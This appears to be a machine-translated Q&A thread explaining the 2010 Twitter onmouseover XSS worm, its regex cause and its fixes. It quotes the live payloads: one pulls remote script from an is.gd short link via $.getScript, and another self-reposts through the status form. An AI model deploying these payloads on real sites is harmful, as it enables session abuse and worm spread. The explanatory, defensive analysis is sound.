twitter.com上今天的XSS onmouseover漏洞利用
你能解释一下今天在Twitter上发生了什么? 基本上这个漏洞使人们发布一条包含这个链接的推文:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
这在技术上是XSS攻击还是其他?
以下是Twitter主页的样子: http : //www.flickr.com/photos/travelist/6832853140/
该漏洞是因为URL没有正确parsing。 例如,以下url发布到Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter将此视为url。 当它被parsing时,Twitter将围绕该代码包装一个链接,所以HTML现在看起来像:
<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
你可以看到,通过放入URL和尾部的斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号,它允许它逃脱(即终止href
属性,对于那里的学者)url属性,并包括一个鼠标。 你可以写任何东西到页面,包括closures链接和包含一个脚本元素。 另外,由于您可以使用$.getScript()
,因此不受140个字符限制的限制。
如果这个提交被拖拽,将会阻止这个XSS漏洞。
具体来说,这个违规的正则expression式是:
REGEXEN[:valid_url_path_chars] = /(?: #{REGEXEN[:wikipedia_disambiguation]}| @[^\/]+\/| [\.\,]?#{REGEXEN[:valid_general_url_path_chars]} )/ix
@[^\/]+\/
part允许任何字符(正斜杠除外),前缀为@符号,后缀为正斜杠。
通过更改为@#{REGEXEN[:valid_general_url_path_chars]}+\/
它现在只允许有效的URL字符。
是的,这是XSS,它正在攻击一个JavaScript事件处理程序 。 这个XSS最酷的地方在于它不需要<>
来利用。 注入的string是: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"
。
size::999999999999px
使它非常大,更有人喜欢,有人会把它放在上面。 真正的问题是onmouseover=
事件处理程序。
要在PHP中防止这种情况,您需要将引号转换为它们的html实体: $var=htmlspecialchars($var,ENT_QUOTES);
这是因为HTML你不能像sql: \'
quot;
这个漏洞是一个经典的Javascript注入。 假设您使用以下文本撰写推文:
"http://www.guardian.co.uk/technology is the best!"
当您查看Twitter网页时,就会变成链接,如下所示:
<a href="http://www.guardian.co.uk/technology" class="tweet-url web" rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!
利用攻击链接制作function。 漏洞推特的原始文本会读取这样的内容:
http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); $('.status-update-form').submit();"class="modal-overlay"/
哪个Twitter没有正确保护,可能是因为@“字符组合破坏了他们的[HTML]parsing器,该链接将生成以下页面源代码:
<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web" rel="nofollow">
这意味着可执行内容(onMouseOver =“stuff”位)已经在页面源代码中结束了。 不知道更好,浏览器运行这个代码。 因为它在用户的浏览器中运行,所以用户可以做任何事情; 大多数变种都使用这种权力重新发布内容,这就是为什么它像病毒一样传播。 为了鼓励用户通过鼠标hover来激活代码,他们还使用CSS [层叠样式表(Cascading Style Sheets)来确定页面布局],将该块格式化为黑底黑字。 其他版本被用户篡改,有各种各样的其他效果,如色情网站的redirect,他们的微博中的彩虹文字,等等。 其中一些popup对话框,旨在警告用户,谈论帐户被禁用或密码被盗(无论如何)。
Twitter解决了这个问题,而不是通过阻止stringonMouseOver(一些暗淡的博客所要求的),而是通过适当的消毒input。 “这些推文中的标记现在变成” – HTML转义forms。
从技术上讲这是一个二阶注入攻击; 攻击string被插入数据库并正确处理,但是攻击发生在string被读出的时候。 这并不是一个复杂的攻击,而是让Twitter感到尴尬,因为这被他们发现了。
来源: Twitter黑客:它是如何开始以及如何运作的
这是一个XSS的利用。 正如Twitter承认他们的更新。 您可以通过从不允许用户发布javascript代码来防止这样的攻击。 你应该总是过滤出来。 有关避免XSS的更多信息可以在这里find: http ://www.owasp.org/index.php/Cross-site_Scripting_(XSS )
来自Wikipedia:“跨站脚本攻击(XSS)是一种计算机安全漏洞,通常在Web应用程序中发现,它使恶意攻击者能够将客户端脚本注入到其他用户查看的网页中。
今天的攻击符合我的要求。
基本上Twitter.com显示代码存在某种parsing错误。 当他们将URL转换为HTML超链接时,他们没有正确处理@字符,这导致javascript事件被插入到HTML链接中。